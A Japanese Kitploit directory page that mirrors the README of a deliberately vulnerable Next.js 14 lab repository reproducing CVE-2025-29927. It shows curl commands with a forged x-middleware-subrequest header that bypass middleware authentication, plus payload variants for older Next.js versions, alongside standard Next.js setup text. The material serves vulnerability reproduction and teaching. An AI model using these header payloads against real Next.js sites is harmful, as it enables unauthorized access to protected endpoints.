Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
vulnerable-nextjs-14-CVE-2025-29927 — 使用しないでください。脆弱です。 | Kitploit
ツール/GitHubGitHub/adjscent/vulnerable-nextjs-14-cve-2025-29927
認証と認可脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubadjscent/vulnerable-nextjs-14-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

使用しないでください。脆弱です。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
511ヶ月前未レビュー

CVE-2025-29927 認証バイパスの再現

このリポジトリは、next パッケージの CVE-2025-29927 脆弱性の再現です。

再現方法

  1. 以下の手順に従って、Next.js アプリケーションをクローンして実行します。
  2. 認証が /api/hello エンドポイントへのアクセスを拒否することをテストします。
root@kitploit:~
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. トークンが提供されたときに認証が機能することをテストします。
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. 次に、特別な x-middleware-subrequest ヘッダーに middleware を5回ネストすることでバイパスすることもできます:
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

古い Next.js バージョンでの CVE-2025-29927 の悪用

Next.js 12 および 13 では、ミドルウェアファイルの命名規則が異なり (_middleware.js)、Next.js 14 で middleware.js に変更されました。この脆弱性は、古いバージョンでは _middleware.js ファイルを使用することで悪用される可能性があります。

例えば、Next.js のバージョンとルーティング規則に応じて、以下のペイロードが適用されます:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js 12.2 で、middleware.js ファイルが pages ディレクトリ内ではなくアプリのルートにある場合)
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js 11 から 12.2 まで)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

はじめに

まず、開発サーバーを起動します:

root@kitploit:~
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

ブラウザで http://localhost:3000 を開くと結果を確認できます。

app/page.js を編集することでページの編集を開始できます。ファイルを編集するとページが自動更新されます。

このプロジェクトは、Vercel の新しいフォントファミリーである Geist を自動的に最適化してロードするために next/font を使用しています。

詳細

Next.js の詳細については、以下のリソースを参照してください:

  • Next.js Documentation - Next.js の機能と API について学べます。
  • Learn Next.js - インタラクティブな Next.js チュートリアル。

the Next.js GitHub repository をチェックしてください。フィードバックやコントリビューションをお待ちしています!

Vercel へのデプロイ

Next.js アプリをデプロイする最も簡単な方法は、Next.js の作成者による Vercel Platform を使用することです。

詳細については、Next.js デプロイメントドキュメント を参照してください。

ツールをダウンロード